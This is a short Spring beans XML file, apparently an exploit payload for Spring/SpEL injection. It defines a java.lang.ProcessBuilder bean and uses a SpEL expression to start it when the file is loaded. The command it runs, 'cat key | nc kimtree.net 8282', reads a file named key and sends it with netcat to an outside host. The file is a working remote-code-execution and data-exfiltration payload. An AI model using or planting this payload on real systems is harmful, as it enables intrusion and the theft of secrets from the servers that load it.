spel.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="processBuilder" class="java.lang.ProcessBuilder">
        <constructor-arg value="cat key | nc kimtree.net 8282"/>
        <property name="name" value="#{ processBuilder.start() }"/>
    </bean>
</beans>